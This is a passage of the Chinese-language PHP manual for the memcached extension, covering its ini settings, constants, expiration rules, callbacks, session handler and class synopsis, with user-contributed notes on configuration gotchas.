标准的 PHP JSON 编码。此序列化程序快速而且是压缩后的数据，但是处理 UTF-8 编码数据时会不完全实现序列化。请查看 JSON 扩展。自 memcached 0.2.0 起可用。

json_array

json，但是反序列化的时候返回数组。自 memcached 2.0.0 起可用。

php

PHP 标准序列化

igbinary

二进制序列化。自 memcached 0.1.4 起可用。

msgpack

一个跨语言的二进制序列化器。自 memcached 2.2.0 起可用。

如果 igbinary 有效则默认使用它，然后如果 msgpack 有效则使用它，否则使用 php。

memcached.use_sasl bool

链接 memcached 服务器时启用 SASL 认证。有效值 On、Off。默认值是 Off。

memcached.default_binary_protocol bool

为新连接设置默认 memcached 协议。（如果要为 session 使用配置 memcached 协议，请改用 memcached.sess_binary_protocol。） 如果设置为 On，则默认使用 memcached 二进制协议。如果设置为 Off，则使用 memcached 文本协议。默认为 Off。

memcached.default_connect_timeout int

为新连接设置默认的 memcached 连接超时。（要为会话配置 memcached 连接超时，请改用 memcached.sess_connect_timeout。） 在非阻塞模式下，这会更改超时值。以毫秒为单位的套接字连接期间。指定 -1 意味着无限超时。指定 0 意味着使用 memcached 库的默认连接超时。默认为 0。

memcached.default_consistent_hash bool

Sets the default for consistent hashing for new connections. (To configure consistent hashing for session connections, use memcached.sess_consistent_hash instead.) If set to On, consistent hashing (libketama) is used for session handling. When consistent hashing is used, one can add or remove cache node(s) without messing up too much with existing keys default is Off.

memcached.sess_binary_protocol bool

Use the memcached binary protocol for memcached sessions instead of the text protocol. libmemcached replicas only work if the binary mode is enabled. However, certain proxies (such as twemproxy) will only work if the binary protocol is disabled. Default is On as of libmemcached 1.0.18. Prior to libmemcached 1.0.18, the default was Off.

Note: 在以前的 php-memcached 版本中，此设置称为 memcached.sess_binary。

memcached.sess_connect_timeout int

memcached connect timeout value In non-blocking mode this changes the value of the timeout during socket connection in milliseconds. Specifying -1 means an infinite timeout.

memcached.sess_consistent_hash_type string

Memcached session consistent hash type. If set to ketama, consistent hashing (libketama) is used for session handling. If set to ketama_weighted, weighted consistent hashing (libketama) is used for session handling. Default is ketama. Prior to php-memcached 3.0, the default was ketama_weighted.

memcached.sess_lock_expire int

The time, in seconds, before a lock should release itself. Setting to 0 results in the default behaviour, which is to use PHP's max_execution_time. Default is 0.

memcached.sess_lock_retries int

The number of times to retry locking the session lock, not including the first attempt. Default is 5.

memcached.sess_lock_wait_max int

The maximum time, in milliseconds, to wait between session lock attempts. The default is 150.

memcached.sess_lock_wait_min int

The minimum time, in milliseconds, to wait between session lock attempts. This value is double on each lock retry until memcached.sess_lock_wait_max is reached, after which any further retries will take memcached.sess_lock_wait_max seconds. The default is 150.

memcached.sess_persistent bool

Whether or not to re-use the memcached connections corresponding to the value(s) of session.save_path after the execution of the script ends. Don't use this if certain settings (e.g. SASL settings, sess_binary_protocol) would be overridden between requests. Default is Off.

memcached.sess_remove_failed_servers bool

允许自动移除失败的 memcached 服务器。默认值是 Off。

Note: 在以前的 php-memcached 版本中，此设置称为 memcached.sess_remove_failed。

memcached.sess_server_failure_limit int

Set this value to enable the server be removed after configured number of continuous times connection failure. Default is 0.

memcached.sess_sasl_password string

Session SASL 密码。 Both username and password need to be set for SASL to be enabled.

memcached.sess_sasl_username string

Session SASL 用户名。 Both username and password need to be set for SASL to be enabled.

memcached.store_retry_count int

存储命令失败后的重试次数。 This mechanism allows transparent fail-over to secondary servers when set/increment/decrement/setMulti operations fail on the desired server in a multi-server environment. The default is 2.

User Contributed Notes

Piotr Gabryjeluk 11-Sep-2017 11:12
Apparently in version 3.0.3 the default for memcached.sess_binary_protocol in TRUE. Also note the key is memcached.sess_binary_protocol, not memcached.sess.

Setting memcached.sess_binary_protocol to FALSE is required if you want to save the session to memcached through twemproxy.
senz 06-Mar-2014 01:28
In case, you are wondering why your sessions are "killed" after 1440 seconds, take a look at session.gc_maxlifetime. It's value is used in memcached expiration field according to memcache protocol rules. Also, do not forget about cookie expiration time
adolfoabegg at gmail dot com 15-Dec-2011 09:01
you can get the list of the possible options for the memcached.ini configuration file here:
https://github.com/php-memcached-dev/php-memcached/blob/master/memcached.ini


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Memcached::OPT_COMPRESSION

开启或关闭压缩功能。当开启的时候，item 的值超过某个阈值（当前是 100 bytes）时，会首先对值进行压缩然后存储，并 在获取该值时进行解压缩然后返回，使得压缩对应用层透明。

类型：bool，默认：true。

Memcached::OPT_SERIALIZER

指定对于非标量值进行序列化的序列化工具。可用的值有 Memcached::SERIALIZER_PHP 和 Memcached::SERIALIZER_IGBINARY。后者仅在 memcached 配置时开启 --enable-memcached-igbinary 选项并且 igbinary 扩展被加载时才有效。

类型：int，默认：Memcached::SERIALIZER_PHP。

Memcached::SERIALIZER_PHP

默认的 PHP 序列化工具（即 serialize 方法）。

Memcached::SERIALIZER_IGBINARY

» igbinary 序列化工具。它将 php 的数据结构 存储为紧密的二进制形式，在时间和空间上都有所改进。

Memcached::SERIALIZER_JSON

JSON序列化。

Memcached::OPT_PREFIX_KEY

可以用于为 key 创建"域"。这个值将会被作为每个 key 的前缀，它不能长于 128 个字符， 并且将会缩短最大可允许的 key 的长度。这个前缀仅仅用于被存储的元素的 key，而不会用于服务器 key。

类型：string，默认：""。

Memcached::OPT_HASH

指定存储元素 key 使用的 hash 算法。可用的值是 Memcached::HASH_* 系列的常量。 每种 hash 算法都有它的优势和劣势，在你不了解或不确定哪种算法对你更有利时，请使用默认值。

类型：int，默认：Memcached::HASH_DEFAULT

Memcached::HASH_DEFAULT

默认的（Jenkins one-at-a-time）元素 key hash 算法

Memcached::HASH_MD5

md5 元素 key hash 算法。

Memcached::HASH_CRC

CRC 元素 key hash 算法。

Memcached::HASH_FNV1_64

FNV1_64 元素 key hash 算法。

Memcached::HASH_FNV1A_64

FNV1_64A 元素 key hash 算法。

Memcached::HASH_FNV1_32

FNV1_32 元素 key hash 算法。

Memcached::HASH_FNV1A_32

FNV1_32A 元素 key hash 算法。

Memcached::HASH_HSIEH

Hsieh 元素 key hash 算法。

Memcached::HASH_MURMUR

Murmur 元素 key hash 算法。

Memcached::OPT_DISTRIBUTION

指定元素 key 分布到各个服务器的方法。当前支持的方法有余数分步法合一致性 hash 算法两种。一致性 hash 算法提供 了更好的分配策略并且在添加服务器到集群时可以最小化缓存丢失。

类型：int，默认:：Memcached::DISTRIBUTION_MODULA。

Memcached::DISTRIBUTION_MODULA

余数分布算法。

Memcached::DISTRIBUTION_CONSISTENT

一致性分布算法（基于 libketama）。

Memcached::OPT_LIBKETAMA_COMPATIBLE

开启或关闭兼容的 libketama 类行为。当开启此选项后，元素 key 的 hash 算法将会被设置为 md5 并且分布算法将会 采用带有权重的一致性 hash 分布。这一点非常有用因为其他基于 libketama 的客户端（比如 Python、Ruby 等）在同样 的服务端配置下可以透明的访问 key。

Note:

如果你要使用一致性 hash 算法强烈建议开启此选项，并且这个选项可能在未来的发布版中被设置为默认开启。

类型：boolean，默认：false。

Memcached::OPT_BUFFER_WRITES

开启或关闭 I/O 缓存。开启 I/O 缓存会导致存储命令不实际发送而是存储到缓冲区中。任意的检索数据操作都会导致 缓存中的数据被发送到远程服务端。退出连接或关闭连接也会导致缓存数据被发送到远程服务端。

类型：boolean，默认：false。

Memcached::OPT_BINARY_PROTOCOL

开启使用二进制协议。请注意这个选项不能在一个打开的连接上进行切换。

类型：boolean，默认：false。

Memcached::OPT_NO_BLOCK

开启或关闭异步 I/O。这将使得存储函数传输速度最大化。

类型：boolean，默认：false。

Memcached::OPT_NOREPLY

启用或禁用忽略存储命令的结果（set、add、replace、append、prepend、delete、increment、decrement 等）。存储命令将会直接发送而无需花费时间等待回复（没有回复）。Memcached::get() 等检索命令不受此设置的影响。

类型：bool，默认：false。

Memcached::OPT_TCP_NODELAY

开启或关闭已连接 socket 的无延迟特性（在某些幻境可能会带来速度上的提升）。

类型：boolean，默认：false。

Memcached::OPT_SOCKET_SEND_SIZE

socket 发送缓冲的最大值。

类型：int，默认：根据不同的平台/内核配置不同

Memcached::OPT_SOCKET_RECV_SIZE

socket 接收缓冲的最大值。

类型：int，默认：根据不同的平台/内核配置不同

Memcached::OPT_CONNECT_TIMEOUT

在非阻塞模式下这里设置的值就是 socket 连接的超时时间，单位是毫秒。

类型：int，默认：1000。

Memcached::OPT_RETRY_TIMEOUT

等待失败的连接重试的时间，单位秒。

类型：int，默认：0。

Memcached::OPT_SEND_TIMEOUT

socket 发送超时时间，单位微秒。在这种情况下您不能使用非阻塞 I/O，这将使得您仍然有数据会发送超时。

类型：int，默认：0。

Memcached::OPT_RECV_TIMEOUT

socket 读取超时时间，单位微秒。在这种情况下您不能使用非阻塞 I/O，这将使得您仍然有数据会读取超时。

类型：int，默认：0。

Memcached::OPT_POLL_TIMEOUT

poll 连接超时时间，单位毫秒。

类型：int，默认：1000。

Memcached::OPT_CACHE_LOOKUPS

开启或禁用 DNS 查找缓存。

类型：boolean，默认：false。

Memcached::OPT_SERVER_FAILURE_LIMIT

指定一个服务器连接的失败重试次数限制。在达到此数量的失败重连后此服务器将被从服务器池中移除。

类型：int，默认：0。

Memcached::HAVE_IGBINARY

指示是否支持 igbinary 的序列化。

类型：boolean。

Memcached::HAVE_JSON

指示是否支持 json 的序列化。

类型：boolean。

Memcached::HAVE_MSGPACK

表示 msgpack 序列化支持是否有效。

类型：bool。

自 Memcached 3.0.0 起可用。

Memcached::HAVE_SESSION

类型：bool.

自 Memcached 3.0.0 起可用。

Memcached::HAVE_SASL

类型：bool。

自 Memcached 3.0.0 起可用。

Memcached::GET_EXTENDED

Memcached::get()、Memcached::getMulti() 和 Memcached::getMultiByKey() 的 flag，确保返回 CAS 令牌值。

自 Memcached 3.0.0 起可用。

Memcached::GET_PRESERVE_ORDER

一个用于 Memcached::getMulti() 和 Memcached::getMultiByKey() 的标记用以确保返回的 key 和请求的 key 顺序保持一致。 不存在的 key 将会得到一个 NULL 值。

Memcached::RES_SUCCESS

操作成功。

Memcached::RES_FAILURE

某种方式的操作失败。

Memcached::RES_HOST_LOOKUP_FAILURE

DNS 查找失败。

Memcached::RES_UNKNOWN_READ_FAILURE

读取网络数据失败。

Memcached::RES_PROTOCOL_ERROR

错误的 memcached 协议命令。

Memcached::RES_CLIENT_ERROR

客户端错误。

Memcached::RES_SERVER_ERROR

服务端错误。

Memcached::RES_WRITE_FAILURE

向网络写数据失败。

Memcached::RES_DATA_EXISTS

比较并交换值操作失败（cas 方法）：尝试向服务端存储数据时由于自此连接最后一次取此 key 对应数据之后被改变导致失败。

Memcached::RES_NOTSTORED

元素没有被存储，但并不是因为一个错误。这通常表明 add（元素已存在）或 replace（元素不存在）方式存储数据失败或者元素已经在一个删除序列中（延时删除）。

Memcached::RES_NOTFOUND

元素未找到（通过 get 或 cas 操作时）。

Memcached::RES_PARTIAL_READ

局部网络数据读错误。

Memcached::RES_SOME_ERRORS

在多 key 获取的时候发生错误。

Memcached::RES_NO_SERVERS

服务器池空。

Memcached::RES_END

结果集到结尾了。

Memcached::RES_ERRNO

系统错误。

Memcached::RES_BUFFERED

操作被缓存。

Memcached::RES_TIMEOUT

操作超时。

Memcached::RES_BAD_KEY_PROVIDED

提供了无效的 key。

Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE

创建网络 socket 失败。

Memcached::RES_PAYLOAD_FAILURE

不能压缩/解压缩或序列化/反序列化值。

Memcached::RES_AUTH_PROBLEM

自 Memcached 3.0.0 起可用。

Memcached::RES_AUTH_FAILURE

自 Memcached 3.0.0 起可用。

Memcached::RES_AUTH_CONTINUE

自 Memcached 3.0.0 起可用。

Memcached::RES_E2BIG

自 Memcached 3.0.0 起可用。

Memcached::RES_KEY_TOO_BIG

自 Memcached 3.0.0 起可用。

Memcached::RES_SERVER_TEMPORARILY_DISABLED

自 Memcached 3.0.0 起可用。

Memcached::RES_SERVER_MEMORY_ALLOCATION_FAILURE

自 Memcached 3.0.0 起可用。

User Contributed Notes

Anonymous 24-Feb-2017 12:06
Note that with Memcached::OPT_BINARY_PROTOCOL enabled there is some (possibly significant) size overhead added at the TCP level.

If you have a high volume of small values being get/set, you should analyze the effect of this option on your overall traffic size with a network tool (e.g. tcpdump) before enabling it, especially if you pay for traffic in/out of your memcache instance.
igorsantos07 no gmail 28-Dec-2015 07:00
As per a StackOverflow answer (http://stackoverflow.com/a/9042985/102960, by @rid), this is the current list of Memcached Response constants:

00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
Allen Tsai 24-May-2011 03:04
Memcached::OPT_SERVER_FAILURE_LIMIT - once a server has hit this limit, the client's getResultMessage() will return "SERVER IS MARKED DEAD."  Further gets() for keys hashing to this server will continue returning this message, as will sets() hashing to the dead server.

Version 2.0.01b supports a constant Memcached::OPT_AUTO_EJECT_HOSTS which allows automatic rebalancing of the cluster/automatic failover handling.
akenney at onesite dot com 29-Dec-2010 08:13
Apparently there is a bug in libmemcached where connect timeout does not work when OPT_NO_BLOCK is set as well.

The bug and related blocking bugs are discussed here:
https://bugs.launchpad.net/libmemcached/+bug/583031

We confirmed this in libmemcached version 0.43

Be sure to test some memcache servers in your pool being unavailable (no route to host and memcache service down) to ensure that timeout settings are working correctly.
tyliu2 at gmail dot com 21-Jan-2010 10:07
RES_SUCCESS = 0
RES_FAILURE = 1
RES_HOST_LOOKUP_FAILURE = 2
RES_UNKNOWN_READ_FAILURE = 7
RES_PROTOCOL_ERROR = 8
RES_CLIENT_ERROR = 9
RES_SERVER_ERROR = 10
RES_WRITE_FAILURE = 5
RES_DATA_EXISTS = 12
RES_NOTSTORED = 14
RES_NOTFOUND = 16
RES_PARTIAL_READ = 18
RES_SOME_ERRORS = 19
RES_NO_SERVERS = 20
RES_END = 21
RES_ERRNO = 26
RES_BUFFERED = 32
RES_TIMEOUT = 31
RES_BAD_KEY_PROVIDED = 33
RES_CONNECTION_SOCKET_CREATE_FAILURE = 11
RES_PAYLOAD_FAILURE = -1001


超时时间

一些存储命令在发送时会包含一个失效值（与一个元素或一个客户端操作请求相关）到服务端。所有这类用法，实际发送的值可以 是一个 Unix 时间戳（自 1970 年 1 月 1 日起至失效时间的整型秒数），或者是一个从现在算起的以秒为单位的数字。对于后一种情况，这个 秒数不能超过 60×60×24×30（30 天时间的秒数）;如果失效的值大于这个值，服务端会将其作为一个真实的 Unix 时间戳来处理而不是 自当前时间的偏移。

如果失效值被设置为 0（默认），此元素永不过期（但是它可能由于服务端为了给其他新的元素分配空间而被删除）。

User Contributed Notes

i dot caught dot air at gmail dot com 25-Oct-2017 06:11
A TTL of n seconds will expire between n and n-1 seconds as memcache doesn't use a high-resolution clock internally.

This is important to consider if you're working with very short TTLs.

See https://github.com/memcached/memcached/issues/307
valugi at gmail dot com 18-Nov-2016 11:48
The fact that one sets an expiration time does not mean that the keys will expire at that particular time. I'm not sure what is happening in the background, if there is a process like a garbage collector that expire keys, but some function do not activate the expiration check and return the key as valid, for example `getAllKeys` is not atomic and returns even expired keys.

$memcached = new Memcached();
$memcached->set('key','value',10);
//waiting more than 10 sec
sleep(20);
$data = $memcached->getAllKeys();
var_dump($data); // key will still be listed
$key = $memcached->get('key'); // will trigger the expiration


回调

Table of Contents

  • 结果回调
  • 通读缓存回调

User Contributed Notes

There are no user contributed notes for this page.


结果回调

结果 callable 由 Memcached::getDelayed() 或 Memcached::getDelayedBykey() 方法对结果集中的每个项目进行调用。回调函数可以接收到一个 Memcached 对象合一个数组描述的元素信息，此回调函数不需要返回任何信息。

Example #1 结果回调示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items);
$m->getDelayed(array('key1', 'key3'), true, 'result_cb');

function result_cb($memc, $item)
{
var_dump($item);
}
?>

以上示例的输出类似于：

array(3) {
  ["key"]=>
  string(4) "key1"
  ["value"]=>
  string(6) "value1"
  ["cas"]=>
  float(49)
}
array(3) {
  ["key"]=>
  string(4) "key3"
  ["value"]=>
  string(6) "value3"
  ["cas"]=>
  float(50)
}

User Contributed Notes

edwarddrapkin at gmail dot com 11-Mar-2009 05:54
I was having trouble making method calls with the result callbacks in getDelayed, so I emailed the developer.

If you want to use a non-static method as a callback, use the following format: array($obj, 'method'); for example:

<?php
class foo {
    private $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function test() {
        $this->M->getDelayed(array('a'), false, array($this, 'fun'));
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->test();
?>

or, alternatively:

<?php
class foo {
    public $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->M->getDelayed(array('a'), false, array($f, 'fun'));
?>

Works great, thanks Andrei :)


通读缓存回调

通读缓存回调在一个元素没有从服务端检索到的时候被调用。这个回调函数会接收到 Memcached 对象，请求的 key 以及 一个引用方式传递的值变量等三个参数。此回调函数负责通过返回 true 或 false 来决定在 key 没有值时设置一个默认值。 如果回调返回 true，Memcached 会存储"传出参数"(引用传递的值变量)存储的值到 memcached 服务端并将其返回到原来 的调用函数中。仅仅 Memcached::get() 和 Memcached::getByKey() 支持这类回调，因为 Memcache 协议不支持在请求多个 key 时提供未检索到 key 的信息。

Example #1 通读回调示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$profile_info = $m->get('user:'.$user_id, 'user_info_cb');

function user_info_cb($memc, $key, &$value)
{
$user_id = substr($key, 5);
/* 从数据库读取个人信息 */
/* ... */
$value = $profile_info;
return true;
}
?>

User Contributed Notes

chadkouse 27-Dec-2011 01:24
Or just set the value within the callback with your own custom expiration time and return false.  I think it's cleaner.
oorza2k5 at gmail dot com 20-Mar-2009 05:40
This isn't specified anywhere, so I had a gander at the source...

The expiry on read-through cache set values is set to 0, or forever.  This means if you want your key to implicitly expire, don't use the callback methods, instead check for boolean false as a return and manually set the value, at least for now.


Sessions支持

memcached 提供了一个自定义的 session 处理程序可以被用于存储用户 session 数据到 memcached 服务端。 一个完全独立的 memcached 实例将会在内部使用，因此如果需要您可以设置一个不同的服务器池。session 的 key 被存储在前缀 memc.sess.key. 之下，因此, 如果你对 session 和通常的缓存使用了 同样的服务器池，请注意这一点。 译注：另外一个 session 和通常缓存分离的原因是当通常的缓存占满了 memcached 服务端后，可能会导致你的 session 被 从缓存中踢除，导致用户莫名的掉线。

session.save_handler string

设置为 memcached 开启 memcached 的 session 处理程序。

session.save_path string

定义一个逗号分隔的 hostname:port 样式的 session 缓存服务器池，例如： "sess1:11211, sess2:11211"。

User Contributed Notes

atesin > gmail 06-Aug-2020 08:22
moderator please merge these posts

an errata to my comment done on 2020-07-28 01:06 about tmpfs session dir...

the tmpfs directory i used to install session files is "/run" not "/tmp"...  as /tmp is auto (or manual) deleted sometimes
atesin > gmail 28-Jul-2020 01:06
memcached is great, is lightning fast, very versatile and useful, scalable, and is a must have for many projects

but if you only want speed to minimize session file blocking there is also a good alternative, tmpfs

https://eddmann.com/posts/storing-php-sessions-file-caches-in-memory-using-tmpfs/

maybe if you are in debian you already had session directory in tmp (mounted as tmpfs), but beware of daily cleaning process that can mess up your sessions

you can use this trick if you are in centos/other (like me) or even if you are in debian but want to get ride of /tmp cleaning task

i realized in my system /run is also mounted as tmpfs, so i shut php-fpm down, moved my php session dir to /tmp/, reconfigure php and start again... (you can adapt it to your situation)

  systemctl stop php-fpm
  cp -a /var/lib/php/session /tmp/php-session
  vim /etc/php-fpm-d/www.conf
  ------
  php_value[session.save_path] = /run/php-session
  ------
  systemctl start php-fpm

the only drawback is tmpfs is VOLATILE, just like memcached (data is lost on unmount/shutdown/power fail), to  circumvent this risk i wrote another service that restores/backup php session dir before/after php starts/stops... (UNTESTED!)

  vim /etc/systemd/system/php-session-backup.service
  ------
  # basic persistence for tmpfs php sessions

  [Unit]
  Description=PHP tmpfs sessions backup/restore on shutdown/boot
  Before=php-fpm.service

  [Service]
  Type=oneshot
  RemainAfterExit=true
  ExecStart=rm -fr /run/php-session
  ExecStart=cp -fa /var/lib/php/session /run/php-session
  ExecStop=rm -fr /var/lib/php/session
  ExecStop=cp -fa /run/php-session /var/lib/php/session

  [Install]
  WantedBy=multi-user.target
  ------
  systemctl enable php-session-backup

you can also complement this with a daily backup task in case of system crash so you will lose just one day

  crontab -e
  ------
  0 4 * * * rm -fr /var/lib/php/session;cp -fa /run/php-session /var/lib/php/session
  ------

this is very rough though, you can better use inotify + rsync, could take some ideas from here

https://blog.jmdawson.co.uk/persistent-ramdisk-on-debain-ubuntu/
velazcomtz dot miguel at gmail dot com 15-Nov-2018 11:22
Is important to address that memcached is not concurrent just as regular PHP sessions.

If you have two tabs and one of them takes too long to respond and try to log out on the second, the memcached server won't respond.
benoit dot delmotte at gmail dot com 31-Mar-2017 01:41
in case of multiples memcached servers,
the separator is a semicolon ( ; ) not a comma as written

example:
session.save_path = "sess1:11211; sess2:11211"
madalin at mgiworx dot co dot uk 24-Jul-2015 08:14
short mention: Memcached has authentication support.
Ian Maddox 03-Jul-2014 02:22
If you are setting data to the session and it immediately disappears and you aren't getting any warnings in your PHP error log, it's probably because your sessions expired sometime in the 1970s.

Somewhere between memcached 1.0.2 and 2.1.0, the memcached session handler became sensitive to the 30-day TTL gotcha (aka "transparent failover").  If your session.gc_maxlifetime is greater than 2592000 (30 days), the value is treated as a unix timestamp instead of a relative seconds count.

This issue is likely to impact anyone with long-running sessions who is upgrading from Ubuntu 12.04 to 14.04.
me at nileshgr dot com 08-Apr-2014 10:38
It seems a few people think saving sessions in memcache is more secure compared to saving in file-system (/tmp) especially when the discussion is about shared hosting.

This is not true. memcache has NO authentication; everybody & anybody can read session.save_path (which will contain the memcached daemon address).

FastCGI (PHP-FPM) is much much better when you're considering security and shared hosting.

If you want to share sessions across multiple servers transparently without having headaches of adding custom handlers, you can use NFS or something similar.
richard at fussenegger dot info 16-Jun-2013 08:56
The documentation is not complete, you can also pass the weight of each server and you can use sockets if you want. In your PHP ini:

<?php

// Sockets with weight in the format socket_path:port:weight
session.save_path = "/path/to/socket:0:42"

// Or more than one so that weight makes sense?
session.save_path = "/path/to/socket_x:0:42,/path/to/socket_y:0:666"

?>

And if you should ever want to access these servers in PHP:

<?php

$servers = explode(",", ini_get("session.save_path"));
$c = count($servers);
for ($i = 0; $i < $c; ++$i) {
  $servers[$i] = explode(":", $servers[$i]);
}
$memcached = new \Memcached();
call_user_func_array([ $memcached, "addServers" ], $servers);
print_r($memcached->getAllKeys());

?>
taubers at gmail dot com 04-Oct-2012 11:42
If you are using the memcache class for session handling your key is the PHP session ID.  This is different than when using the  memcached class.

Example with memcache:
GET nphu2u8eo5niltfgdbc33ajb62

Example with memcached:
GET memc.sess.key.nphu2u8eo5niltfgdbc33ajb62

For memcached, the prefix is set in the config:
memcached.sess_prefix = "memc.sess.key."
sstratton at php dot net 14-Jun-2011 12:48
While the previous poster has a point that Memcached can and will cleanup to make room for it's keys, the likelihood of active sessions (due to the likelihood that they will be written to again within 30 seconds) is fairly low provided you have your memory allocation properly alloted.
nfoo at naver dot com 28-Aug-2010 12:15
If you want to use 'memcacheD' extention not 'memcache' (there are two diffrent extentions) for session control,  you should pay attention to modify php.ini

Most web resource from google is based on memcache because It's earlier version than memcacheD. They will say as following

session.save_handler = memcache
session.save_path = "tcp://localhost:11211"

But it's not valid when it comes to memcacheD

you should modify php.ini like that

session.save_handler = memcached
session.save_path = "localhost:11211"

Look, there is no protocol indentifier
Andrei Darashenka 27-May-2009 07:56
This extension supports Session-locking!

by default
MEMC_SESS_LOCK_ATTEMPTS   30
MEMC_SESS_LOCK_WAIT       100000
MEMC_SESS_LOCK_EXPIRATION 30


Memcached 类

(PECL memcached >= 0.1.0)

简介

表示与一组 memcached 服务器的连接。

类摘要

class Memcached {
/* 方法 */
public __construct(?string $persistent_id = null, ?callable $callback = null, ?string $connection_str = null)
public add(string $key, mixed $value, int $expiration = 0): bool
public addByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public addServer(string $host, int $port, int $weight = 0): bool
public addServers(array $servers): bool
public append(string $key, string $value): ?bool
public appendByKey(string $server_key, string $key, string $value): ?bool
public cas(
string|int|float $cas_token,
string $key,
mixed $value,
int $expiration = 0
): bool
public casByKey(
string|int|float $cas_token,
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public decrement(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public decrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public delete(string $key, int $time = 0): bool
public deleteByKey(string $server_key, string $key, int $time = 0): bool
public deleteMulti(array $keys, int $time = 0): array
public deleteMultiByKey(string $server_key, array $keys, int $time = 0): array
public fetch(): array|false
public fetchAll(): array|false
public flush(int $delay = 0): bool
public get(string $key, ?callable $cache_cb = null, int $get_flags = 0): mixed
public getAllKeys(): array|false
public getByKey(
string $server_key,
string $key,
?callable $cache_cb = null,
int $get_flags = 0
): mixed
public getDelayed(array $keys, bool $with_cas = false, ?callable $value_cb = null): bool
public getDelayedByKey(
string $server_key,
array $keys,
bool $with_cas = false,
?callable $value_cb = null
): bool
public getMulti(array $keys, int $get_flags = 0): array|false
public getMultiByKey(string $server_key, array $keys, int $get_flags = 0): array|false
public getOption(int $option): mixed
public getResultCode(): int
public getResultMessage(): string
public getServerByKey(string $server_key): array|false
public getServerList(): array
public getStats(?string $type = null): array|false
public getVersion(): array|false
public increment(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public incrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false
public isPersistent(): bool
public isPristine(): bool
public prependByKey(string $server_key, string $key, string $value): ?bool
public quit(): bool
public replace(string $key, mixed $value, int $expiration = 0): bool
public replaceByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public resetServerList(): bool
public set(string $key, mixed $value, int $expiration = 0): bool
public setByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool
public setMulti(array $items, int $expiration = 0): bool
public setMultiByKey(string $server_key, array $items, int $expiration = 0): bool
public setOption(int $option, mixed $value): bool
public setOptions(array $options): bool
public setSaslAuthData(string $username, string $password): bool
public touch(string $key, int $expiration = 0): bool
public touchByKey(string $server_key, string $key, int $expiration = 0): bool
}

Table of Contents

  • Memcached::add — 向新 key 添加元素
  • Memcached::addByKey — 在特定服务器上向新 key 添加元素
  • Memcached::addServer — 向服务器池增加服务器
  • Memcached::addServers — 向服务器池中增加多台服务器
  • Memcached::append — 向已存在元素追加数据
  • Memcached::appendByKey — 向指定服务器上已存在元素追加数据
  • Memcached::cas — 比较并交换值
  • Memcached::casByKey — 在指定服务器上比较并交换值
  • Memcached::__construct — 创建 Memcached 实例
  • Memcached::decrement — 减小数值元素的值
  • Memcached::decrementByKey — Decrement numeric item's value, stored on a specific server
  • Memcached::delete — 删除元素
  • Memcached::deleteByKey — 从指定的服务器删除元素
  • Memcached::deleteMulti — Delete multiple items
  • Memcached::deleteMultiByKey — Delete multiple items from a specific server
  • Memcached::fetch — 读取下一个结果
